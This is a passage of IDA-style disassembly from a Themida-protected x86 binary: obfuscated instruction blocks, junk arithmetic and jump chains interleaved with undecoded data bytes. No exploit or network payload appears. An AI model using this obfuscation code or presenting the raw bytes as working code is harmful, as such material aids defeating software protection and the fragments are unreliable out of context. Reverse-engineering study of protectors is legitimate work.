		dd 29D6E96Dh, 59660000h, 7C46E9h, 1C5F0900h, 0E9241C8Bh
		dd 0A4CDh, 8704C583h, 248B242Ch, 660B6824h, 0C890000h
		dd 0F637B124h, 0F6D9F6D1h, 23C180D1h, 0FFDE82E9h, 0E9F529FFh
		dd 0E1CFh, 3FE9C601h, 5800009Bh, 0DDA7E9h, 89575900h, 4DD2E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDBA:				; CODE XREF: Themida_:0056FA8Ej
		mov	eax, 3041777Fh
		and	ebp, eax
		pop	eax
		push	esi
		mov	esi, 431F59F9h
		jmp	loc_5600B3
; ---------------------------------------------------------------------------


loc_55FDCD:				; CODE XREF: Themida_:00571234j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	7AFEh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56F53D
; ---------------------------------------------------------------------------
		db 68h
		dd 34B6h, 0E9240C89h, 0A1CDh, 83242C8Bh, 0F00104C4h, 2438702Dh
		dd 4534E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FE0E:				; CODE XREF: Themida_:0055DD5Bj
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 575030D6h
		and	ebp, ecx
		pop	ecx
		add	ebp, 28F16B1Ah
		push	edx
		push	ebx
		push	eax
		mov	eax, 4F5957F2h
		push	edx
		mov	edx, 0BCC2EFCBh
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FA375941h
		mov	edx, esi
		pop	esi
		jmp	loc_5707D2
; ---------------------------------------------------------------------------


loc_55FE52:				; CODE XREF: Themida_:0056659Cj
		xor	ecx, 360E365h
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 5DFA2FEFh
		or	esi, 68725949h
		jmp	loc_56BC8F
; ---------------------------------------------------------------------------


loc_55FE74:				; CODE XREF: Themida_:005709ACj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55DF3C
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2404h, 4ECh, 1FB3E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55FE8E:				; CODE XREF: Themida_:0056644Ej
		xor	edi, [esp]
		pop	esp
		jmp	loc_572B45
; ---------------------------------------------------------------------------
		db 56h
		dd 462205BEh, 5EF32167h, 0DBF7D3F7h, 1E18C381h,	0E3D11C06h
		dd 8D25BF57h, 0FB0159C0h, 5BDE315Fh, 7015C681h,	0F58941E5h
		dd 2EDC15Eh, 8105EDC1h,	0F95822CDh, 0ED814574h,	74FB7EA0h
		dd 761AEA81h, 0EA81073Ah, 292E408Ah, 11D76E9h, 24048900h
		dd 60CE9h, 222D5F00h, 0E9477728h, 0FFFFDF2Dh
; ---------------------------------------------------------------------------


loc_55FEF8:				; CODE XREF: Themida_:0056D949j
		push	4482h
		mov	[esp], eax
		mov	eax, 746A6EB0h
		xor	eax, 5A3E4A9Ch
		sub	ebx, eax
		pop	eax
		add	ebx, 7B9950F1h
		add	ebx, edx
		sub	ebx, 7B9950F1h
		add	ebx, 2E54242Ch
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_568B95
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C2h
		dd 307E6E10h, 0A6E9C201h, 81000113h, 7F36B5F3h,	0A673E96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FF46:				; CODE XREF: Themida_:0056A396j
		add	eax, ebx
		add	eax, 1B430862h
		add	[eax], ecx
		jmp	loc_5650EE
; ---------------------------------------------------------------------------
aPsM		db 'PИ╣m',0
		align 2
		dw 0EB81h
		dd 202F5C0Fh, 72FAE9h, 89525B00h, 4B951E2h, 81000000h
		dd 6B3EF4EAh, 81CA0136h, 6B3EF4C2h, 17E95936h, 29FFFFFAh
		dd 0D7F758C7h, 2C6ECF81h, 85E933ADh, 10000C8h, 49EF81C7h
		dd 8B2CF25Ah, 0C4832404h, 4DC78104h, 81C1D7C7h,	9856ADC3h
		dd 64C38140h, 8121CB01h, 6B1EE8EBh, 0E9FB0106h,	0FFFFE306h
		dd 535FF989h, 9E7D8BBBh, 2BD6681Fh, 0C890000h, 2692B924h
		dd 0D9F70595h, 1015BE9h, 0B029BF00h, 0FB3100B0h, 5BDE015Fh
		dd 30685057h, 0E900002Ch, 0C302h
; ---------------------------------------------------------------------------


loc_55FFF4:				; CODE XREF: Themida_:0055E520j
		add	edi, 0D3DF5F12h
		jmp	loc_57031E
; ---------------------------------------------------------------------------
		db 58h
		dd 5006A135h, 1054Ch, 0FF050000h, 0F7FFFFFFh, 4EC81D0h
		dd 0E9000000h, 12145h, 8904EC83h, 2C68240Ch, 89000020h
		dd 55BD242Ch, 50673F7Dh, 6315DB8h, 464E902h
		db 1, 0
; ---------------------------------------------------------------------------


loc_56003A:				; CODE XREF: Themida_:0056B8C7j
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5601EE
; ---------------------------------------------------------------------------


loc_56004D:				; CODE XREF: Themida_:00570FA1j
		mov	ch, 8Ah
		inc	ch
		shl	ch, 1
		add	ch, 61h
		jmp	loc_56BE98
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 0AC3BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560066:				; CODE XREF: Themida_:00564380j
		xor	ebp, 12712F5Bh
		sub	esi, ebp
		pop	ebp
		add	esi, eax
		add	esi, 12CF5AE4h
		pop	eax
		add	esi, 6D5E609Dh
		push	esi
		sub	dword ptr [esp], 50EC50ACh
		jmp	loc_569426
; ---------------------------------------------------------------------------
		db 0F7h
aSgg		db 'яИ┐┐',0
		align 2
		dw 0D531h
		dd 8124148Bh, 4C4h, 5DEA0100h, 2C281h, 59680000h, 8900006Ch
		dd 7EE92414h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5600B3:				; CODE XREF: Themida_:0055FDC8j
		or	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2AAB4D39h
		inc	eax
		jmp	loc_562369
; ---------------------------------------------------------------------------
aLSz		db '▀,$ИZу',0
		dw 5300h
		dd 1237AE9h, 0E9482C00h, 0C481h, 6375ED81h, 0C5016192h
		dd 0FFEFFEE9h, 0E4B951FFh, 810B5912h, 0D867C1E9h, 7851E96Fh
		dd 0EFC10000h, 98CE904h, 0F8290000h, 241C8B5Fh,	4C481h
		dd 50680000h, 8900001Eh, 0C2BE2434h, 2D11C02Ch,	47722C24h
		dd 381A142Dh, 522D6807h, 3C890000h, 5BE5BF24h, 0B8E95C43h
		dd 0B2000127h, 756AE91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56013E:				; CODE XREF: Themida_:0056FD02j
		push	eax
		push	39D752C3h
		pop	eax
		mov	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 2D6D6AE9h
		xor	eax, 729A304Fh
		xor	eax, 18795422h
		sub	eax, 2E6AEFEAh
		add	edi, eax
		pop	eax
		dec	edi
		jmp	loc_56F251
; ---------------------------------------------------------------------------
		dd 4C481h, 0FA010000h, 8904EC83h, 49E9242Ch, 0FF00006Fh
		dd 0A1E92434h, 8B0000B5h, 5EE92424h, 50FFFFD1h,	86131B8h
		dd 58C5296Eh, 703F581h,	0B95134DDh, 7C035B08h, 0E75F181h
		dd 0C18178F7h, 1250587Dh, 0C981E9D1h, 66176BDFh, 0C248E9h
		dd 4C48100h, 2D000000h,	0D577E81Fh, 2679C181h, 0C1294DD2h
		dd 2679E981h, 48B4DD2h,	4C48324h, 0E9242C8Bh, 11966h, 6A4A68h
		dd 1451E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5601EE:				; CODE XREF: Themida_:00560048j
		or	ecx, ecx
		jz	loc_56C637
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 3A2A3283h
		shl	edx, 7
		sub	edx, 8453C37h
		jmp	loc_561077
; ---------------------------------------------------------------------------


loc_56020D:				; CODE XREF: Themida_:005712BBj
		push	ebp
		jmp	loc_5698DD
; ---------------------------------------------------------------------------
		db 0B8h
		dd 116C4BE6h, 777C4725h, 0E9D8F73Fh, 54B3h, 0E389535Ch
		dd 1AC6856h, 14890000h,	3B66BA24h, 0E2817775h, 3EF94D47h
		dd 5175E9h, 0E9DDF700h,	0FFFFE612h, 3568E381h, 0EB831D6Fh
		dd 156AE901h
		db 1, 0
; ---------------------------------------------------------------------------


loc_560256:				; CODE XREF: Themida_:0056620Fj
		add	ebx, 4
		jmp	loc_56789D
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 0BBE90000h, 0FF0000B7h, 148B2434h, 0E9545624h, 0DDA4h
		dd 0E924248Bh, 24B7h, 0FFD068E9h, 4BB53FFh, 1000000h, 0E9565BD8h
		dd 0FFFFE42Eh
; ---------------------------------------------------------------------------


loc_560294:				; CODE XREF: Themida_:005702C5j
		pop	esi
		xor	esi, 90029ACh
		mov	ecx, esi
		pop	esi
		jmp	loc_55DEB6
; ---------------------------------------------------------------------------
		db 89h
		dd 0CBE2434h, 812DD04Dh, 3D042444h, 29744560h, 81042474h
		dd 3D04246Ch, 0E9744560h, 0E59Fh
; ---------------------------------------------------------------------------


loc_5602C4:				; CODE XREF: Themida_:00571A3Aj
		pop	esp
		jmp	loc_5667FA
; ---------------------------------------------------------------------------
		dw 168h
		dd 5E6C094Fh, 15EF329h,	0AEBAE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602DA:				; CODE XREF: Themida_:00561149j
		mov	ebp, esp
		jmp	loc_5703C1
; ---------------------------------------------------------------------------


loc_5602E1:				; CODE XREF: Themida_:0056CA24j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 30621BB8h
		jmp	loc_56907E
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 0E0B9515Eh, 29132950h, 9D2D59C8h, 293C220Fh,	0CF89E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56030A:				; CODE XREF: Themida_:0056DAB6j
		push	6E88h
		mov	[esp], ebx
		jmp	loc_566E52
; ---------------------------------------------------------------------------
		db 8Ah
		dd 12E9242Ch, 10000B9h,	225FE9DAh, 0DAF70000h, 49DC281h
		dd 814A4F87h, 6E4905EAh, 5AD68957h, 0AFE9F301h,	89000003h
		dd 4C581E5h, 0E9000000h, 496Eh,	8B240C87h, 3C892424h, 4BF24h
		dd 0E9500000h, 0A782h, 4C281h, 0EA830000h, 24148704h, 2414895Ch
		dd 5617E9h
		db 0
; ---------------------------------------------------------------------------


loc_560375:				; CODE XREF: Themida_:0055E828j
		pop	eax
		jmp	loc_563781
; ---------------------------------------------------------------------------
		db 0FFh
a4Ss		db '4$Иsз',0
		db 0
; ---------------------------------------------------------------------------


loc_560383:				; CODE XREF: Themida_:00560934j
		pop	esp
		push	ebx
		jmp	loc_562A19
; ---------------------------------------------------------------------------


loc_56038A:				; CODE XREF: Themida_:0056861Bj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_56C82D
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0D56804C4h, 89000049h, 5CE92414h,	8300003Ch
		dd 88E902C4h, 530000B9h, 9CE95DB3h, 310000C0h, 0F6E95EF5h
		dd 0B90000E4h, 60C772E0h, 12C9E9h, 24248B00h, 0FFD58DE9h
		dd 0C0E95BFFh, 890000EAh, 4EC81E2h, 89000000h, 5FBE2434h
		dd 8133A84Ch, 443A04CEh, 0F5E94E32h, 81FFFFD6h,	5079F1F7h
		dd 7F72E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560402:				; CODE XREF: Themida_:0055F378j
		add	eax, ecx
		add	eax, 74131809h
		jmp	loc_566243
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 51EE015Ah, 0B8388EB9h, 59CE0114h, 0E9242C8Bh, 0A3Fh
; ---------------------------------------------------------------------------


loc_560424:				; CODE XREF: Themida_:0056B387j
		dec	edi
		sub	edi, 0BF7F19D0h
		xor	edx, edi
		pop	edi
		or	edx, 59AA282Dh
		push	eax
		mov	eax, 79BB2939h
		xor	edx, eax
		pop	eax
		add	ecx, 383516D2h
		add	ecx, edx
		sub	ecx, 383516D2h
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56159E
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 68E9F766h, 29A9h,	0E9241489h, 0FFFFFF67h
; ---------------------------------------------------------------------------


loc_560474:				; CODE XREF: Themida_:0056D353j
		push	eax
		jmp	loc_56AC32
; ---------------------------------------------------------------------------
		dw 0F501h
		dd offset dword_50DC48+3A1h
		db 0
; ---------------------------------------------------------------------------


loc_560481:				; CODE XREF: Themida_:00566666j
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	59181C97h
		jmp	loc_56C6B0
; ---------------------------------------------------------------------------
		db 59h,	68h, 57h
		dd 89000014h, 18B5240Ch, 4944E9h
		db 0
; ---------------------------------------------------------------------------


loc_5604A1:				; CODE XREF: Themida_:0055DEB1j
		pop	ebp
		xor	ecx, 5732531Ch
		add	ecx, 0A15AB2A5h
		add	eax, 1E3B58A9h
		add	eax, ecx
		sub	eax, 1E3B58A9h
		jmp	loc_55E6F6
; ---------------------------------------------------------------------------


loc_5604BF:				; CODE XREF: Themida_:0056F708j
		add	esp, 4
		or	eax, eax
		jz	loc_56B7BB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_572394
; ---------------------------------------------------------------------------


loc_5604E1:				; CODE XREF: Themida_:0056C723j
		mov	eax, [esp]
		jmp	loc_56BFE1
; ---------------------------------------------------------------------------


loc_5604E9:				; CODE XREF: Themida_:0056E57Bj
		push	eax
		mov	eax, 1AA052A6h
		or	eax, 42244205h
		jmp	loc_571095
; ---------------------------------------------------------------------------
		db 0B8h, 0FDh, 5Eh
		dd 0C5316125h, 582434FFh, 44E168h, 0D1FFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56050E:				; CODE XREF: Themida_:0055F9BBj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5676D1
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 4F05E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56052A:				; CODE XREF: Themida_:00570F23j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D6CC
; ---------------------------------------------------------------------------
		dd 0AECBF181h, 0CA019416h, 4EA8159h, 33000000h,	0A7E92414h
		dd 550000EEh, 65026DBDh, 85E94D3Eh, 5900009Dh, 8904EC83h
		dd 74FF2414h, 0E95A0424h, 1B5Eh, 8B2434FFh, 0C483240Ch
		dd 470E6804h, 2C890000h, 4EC8324h, 83242489h, 0E9042404h
		dd 0FFFFF51Eh
; ---------------------------------------------------------------------------


loc_5605A0:				; CODE XREF: Themida_:00569B41j
		shr	eax, 0Bh
		xor	ecx, eax
		push	4B20h
		mov	[esp], ebx
		jmp	loc_56275F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 78E92404h, 0FF00006Dh, 8B042474h, 8950243Ch,	405E0h
		dd 0C0830000h, 24048704h, 24048F5Ch, 0E924248Bh, 0DC79h
; ---------------------------------------------------------------------------


loc_5605DC:				; CODE XREF: Themida_:0056A347j
		mov	[esp], edi
		mov	edi, 295656AEh
		sub	edi, 4970AC2Fh
		add	esi, edi
		pop	edi
		sub	ebp, 39AB5621h
		add	ebp, esi
		add	ebp, 39AB5621h
		mov	esi, [esp]
		jmp	loc_560C79
; ---------------------------------------------------------------------------
		db 41h
		dd 8106E9C1h, 12AD12E9h, 3E0AE901h, 0F5010000h,	5543ED81h
		dd 348B5EF7h, 4C48324h,	0E902C583h, 1BDCh, 83241C8Bh, 0B8E904C4h
		dd 870000ECh, 2CE9241Ch, 660000C0h, 66241489h, 6EE99C50h
		dd 50000019h, 0D782E9h
		db 0
; ---------------------------------------------------------------------------


loc_56064D:				; CODE XREF: Themida_:005660F9j
		xchg	ebx, ebp
		jmp	loc_566B78
; ---------------------------------------------------------------------------
		dd 0E9D70159h, 71D2h, 815AD001h, 4ECh, 243C8900h, 3314E9BFh
		dd 0A8F78174h, 0E971D975h, 0F5ACh, 0E94AEA81h, 0D389C47Ch
		dd 5CE3815Ah, 81050A51h, 0A576F2EBh, 6E9435Fh, 810000F9h
		dd 0C85950EBh, 24148B71h, 4C481h, 42E90000h, 51FFFFFAh
		dd 0E95130B9h, 0DA01E96Bh, 8F5F0000h, 0E95C2404h, 0FFFFDCE0h
		dd 0E7C1E7D1h, 2EFC104h, 7D87E9h, 0EC815C00h, 4, 0E9243C89h
		dd 2041h
; ---------------------------------------------------------------------------


loc_5606D8:				; CODE XREF: Themida_:00565248j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		xor	eax, edx
		xor	edx, eax
		jmp	loc_56435D
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 2C8904ECh, 0AFF9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5606FA:				; CODE XREF: Themida_:00561E69j
		add	ebx, 0E208027Fh
		sub	eax, ebx
		jmp	loc_5660B6
; ---------------------------------------------------------------------------


loc_560707:				; CODE XREF: Themida_:005721B3j
		xor	edx, eax
		xor	eax, edx
		push	edx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		not	ebp
		xor	ecx, ebp
		jmp	loc_55DAE2
; ---------------------------------------------------------------------------
a_sip		db '_ИК▐',0
		align 2
		dw 3C89h
		dd 38E5BF24h, 0E7BA0D48h, 310D4838h, 2434FFFAh,	74DAE9h
		dd 0EE95A00h, 680000E3h, 0CCAh,	0BD242C89h, 4, 835DEA01h
		dd 0CE904C2h, 8100005Fh, 0B81AA1C2h, 81FA0102h,	0B81AA1EAh
		dd 55535F02h, 0A039B768h, 0C14D5D06h, 0ED8105E5h, 0D40736BCh
		dd 815DEB89h, 1E3542C2h, 0F5C28129h, 0E91C3A79h, 0CB9Dh
		dd 8B240C87h, 14892424h, 46685124h, 8B126108h, 5453240Ch
		dd 0FFEAC5E9h, 5FFA01FFh, 0EA81C201h, 891305Fh,	0E92434FFh
		dd 8655h, 45FFC181h, 0CD01D108h, 4F2CE959h, 83590000h
		dd 3C8904ECh, 0D3BBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607DA:				; CODE XREF: Themida_:00569B2Aj
		mov	ecx, 0
		sub	ecx, 7916449Bh
		sub	ecx, edx
		add	ecx, 7916449Bh
		xchg	ecx, edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_565517
; ---------------------------------------------------------------------------


loc_5607FA:				; CODE XREF: Themida_:00570ED0j
		add	edi, 32B47E06h
		pop	edx
		xchg	edi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 2489h
		dd 55565024h, 1C295A68h, 0F1E95D6Ah, 89000035h,	0ED8158C5h
		dd 7D1C66CCh, 409AC581h, 42E9419Fh, 0FF00003Fh,	81592434h
		dd 4C4h, 0AFBDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560842:				; CODE XREF: Themida_:0056D8E8j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		pop	edi
		pop	esi
		xor	[esp+4], edi
		mov	edi, [esp]
		push	edi
		jmp	loc_56CA0F
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFFCA85h, 0E932FF64h, 0FFFFCA7Dh
		dd 4BD555Ah, 1000000h, 0BE565DEAh, 479D48A0h, 0B764C681h
		dd 0F201B862h, 1CFC685Eh, 14890000h, 2474FF24h,	24148B04h
		dd 81E78957h, 4C7h, 3964E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608A6:				; CODE XREF: Themida_:00570FC2j
		mov	ebp, 52596E99h
		add	dword ptr [esp+4], 5E9275A9h
		push	edx
		push	edi
		mov	edi, 75B861DBh
		shr	edi, 2
		shr	edi, 3
		shr	edi, 1
		neg	edi
		add	edi, 59B74B12h
		mov	edx, edi
		pop	edi
		jmp	loc_5717E0
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2E352AE9h, 81D7F74Fh, 0A1289EC7h, 0D1EF814Ch, 8905A0B4h
		dd 0D1215FFAh, 9FC1815Ah, 5393304h, 681F0295h, 0FAFBE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608FE:				; CODE XREF: Themida_:0056B9DDj
		mov	[esp], ecx
		mov	eax, [esp]
		jmp	loc_5667BB
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2424895Ch, 4BF57h, 7C010000h, 0FF5F0424h
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_560383
; ---------------------------------------------------------------------------
		db 0BBh, 0A4h, 75h
		dd 0E3817998h, 2A753E56h, 3E9EC381h, 0D8291F16h, 5D0015Bh
		dd 472672A2h, 106DE9h, 24248B00h, 0B4E9C330h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560963:				; CODE XREF: Themida_:0056623Ej
		add	edx, edi
		jmp	loc_56757F
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 24348B5Fh, 7A19E9h, 89515900h, 0C1EBE9E1h, 0D8000000h
		dd 0E9D0F65Bh, 0BDFh, 0B3241C89h, 0EAC380D6h, 10326E9h
		db 0
; ---------------------------------------------------------------------------


loc_560995:				; CODE XREF: Themida_:0055DC4Dj
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	[edi+24h], esi
		jmp	loc_56E787
; ---------------------------------------------------------------------------


loc_5609A8:				; CODE XREF: Themida_:00566964j
		push	ecx
		mov	ecx, 48CC16DBh
		mov	ebx, 737936BAh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56225C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835B2434h, 3C8904ECh, 0C4EDE924h, 32BD0000h,	812C0E37h
		dd 0A0042444h, 2971A500h, 8104246Ch, 0A004246Ch, 5D71A500h
		dd 8324348Bh, 79E904C4h, 10000E4h, 0E9E95FF8h, 0B4000079h
		dd 9CC180F1h, 0A0E9E100h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560A0B:				; CODE XREF: Themida_:005612E9j
		mov	edx, esi
		pop	esi
		xor	edx, 0CC1B54CCh
		sub	eax, edx
		pop	edx
		and	esi, eax
		jmp	loc_568A5F
; ---------------------------------------------------------------------------
		dw 7968h
		dd 0E92AB15Fh, 1AD3h, 50C18141h, 81723454h, 2EEEA6E9h
		dd 8DED81D2h, 122D622h,	8DC581CDh, 0E922D622h, 0FD50h
; ---------------------------------------------------------------------------


loc_560A48:				; CODE XREF: Themida_:00563015j
		pop	edi
		inc	edi
		add	edi, 0FFFFFFFFh
		push	ebp
		push	eax
		push	ebx
		mov	ebx, 16E36A4Dh
		xor	ebx, 7EFA6ACAh
		mov	eax, ebx
		pop	ebx
		mov	ebp, 98AE443Ah
		jmp	loc_563B6C
; ---------------------------------------------------------------------------


loc_560A6B:				; CODE XREF: Themida_:0055F5E1j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_570873
; ---------------------------------------------------------------------------
aUsV		db 'UИз┌',0
		db 0
; ---------------------------------------------------------------------------


loc_560A7F:				; CODE XREF: Themida_:00565EDCj
		pop	esp
		xor	ebx, eax
		push	edx
		mov	edx, 2Ch
		push	eax
		jmp	loc_55ECBA
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 4404F781h, 0FE29BD60h, 0E4D4E95Fh, 0C6810000h, 2EA46C95h
		dd 8E4CE9h, 0C7835E00h,	74FF5702h, 0FBE90424h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560AB7:				; CODE XREF: Themida_:0056E1CDj
		xor	edi, 5F10DEDh
		add	edi, 60F75601h
		mov	edx, edi
		pop	edi
		sub	[esp+4], edx
		pop	edx
		jmp	loc_56B63B
; ---------------------------------------------------------------------------


loc_560AD0:				; CODE XREF: Themida_:00569BE9j
		xor	ebp, esi
		jmp	loc_560BA1
; ---------------------------------------------------------------------------
		db 55h
		dd 0A75610BDh, 3F3E95Ah, 0EB830001h, 241C8704h,	0D041E95Ch
		dd 815F0000h, 0D25754EBh, 81CB017Ch, 0D25754C3h, 7DE97Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_560B02:				; CODE XREF: Themida_:0055E855j
		add	ebx, ecx
		pop	ecx
		and	ecx, ebx
		pop	ebx
		sub	ecx, 14FC0024h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55E73E
; ---------------------------------------------------------------------------
		dd 0C1E9FA01h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560B1F:				; CODE XREF: Themida_:0056F460j
		sub	edi, 4
		jmp	loc_565280
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 11D24397h, 0E2E9FB31h, 0F7FFFFD1h, 0D1B850DAh, 314E6931h
		dd 0F28158C2h, 0D0C83F2Fh, 12B4BE56h, 0F0296F35h, 0E9D0015Eh
		dd 73A0h
; ---------------------------------------------------------------------------


loc_560B58:				; CODE XREF: Themida_:0055E397j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_561702
; ---------------------------------------------------------------------------
		db 29h
		dd 481240Ch, 38043724h,	0CE875951h, 0AB09EE81h,	0F3019968h
		dd 60A2E9h, 51595900h, 0C980A1B1h, 0C3E98060h, 0D12CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560BA1:				; CODE XREF: Themida_:00560AD2j
		mov	esi, [esp]
		add	esp, 4
		mov	edi, ebp
		jmp	loc_56398F
; ---------------------------------------------------------------------------


loc_560BB1:				; CODE XREF: Themida_:00561EF7j
		add	eax, 3F005074h
		not	eax
		xor	eax, 6FB97D6Ch
		shl	eax, 4
		xor	eax, 202B4C19h
		mov	ebp, eax
		jmp	loc_56D7C8
; ---------------------------------------------------------------------------
		dd 0F13084B6h, 2E9FE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560BD6:				; CODE XREF: Themida_:00571EC5j
		add	esp, 4
		add	ebp, 229B66A2h
		add	ebp, edi
		sub	ebp, 229B66A2h
		jmp	loc_5701D0
; ---------------------------------------------------------------------------
aISwrh		db '\┴<$SWRh',0
		db 59h,	2Fh, 26h
		dd 0CEEA815Ah, 81583D3Ch, 0AFAEAFEAh, 5AD78978h, 0D7F7D7F7h
		dd 8106EFC1h, 0D60123C7h, 939E964h, 0C9810000h,	33F659E9h
		dd 45BA5241h, 94D6D26h,	0BE565AD1h, 0A9711779h,	0E9E9F101h
		dd 1000090h, 0D42DE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C3E:				; CODE XREF: Themida_:0056BFA0j
		add	[esp+0Ch], ebx
		pop	ebx
		jmp	loc_5657F2
; ---------------------------------------------------------------------------
		dd 58C7005Ah, 52665966h, 0E2E95EB2h, 53000047h,	0D5288BBBh
		dd 71E94326h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560C63:				; CODE XREF: Themida_:0055EF8Ej
		pop	esp
		mov	[esp], edx
		jmp	loc_5612FF
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	8374E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C79:				; CODE XREF: Themida_:005605FEj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_5712F3
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 4EC815Dh, 89000000h,	0B82404h, 5000000h, 32080D86h
		dd 862DC801h, 5132080Dh, 888D188h, 0C8B5859h, 4C48124h
		dd 0E9000000h, 4167h, 5A45E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560CBE:				; CODE XREF: Themida_:0056B6BAj
		push	edi
		jmp	loc_570468
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0A782h, 0E9241C89h, 5CF5h, 0C181E189h, 4
		dd 4E981h, 0B2E90000h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560CE7:				; CODE XREF: Themida_:0056CAB0j
		mov	ecx, 4
		jmp	loc_55F436
; ---------------------------------------------------------------------------


loc_560CF1:				; CODE XREF: Themida_:005624B2j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 60CD3D7Ah
		add	ebp, 0DB2C39DBh
		and	ebx, ebp
		pop	ebp
		jmp	loc_563598
; ---------------------------------------------------------------------------


loc_560D0F:				; CODE XREF: Themida_:00563259j
		mov	[esp], ebx
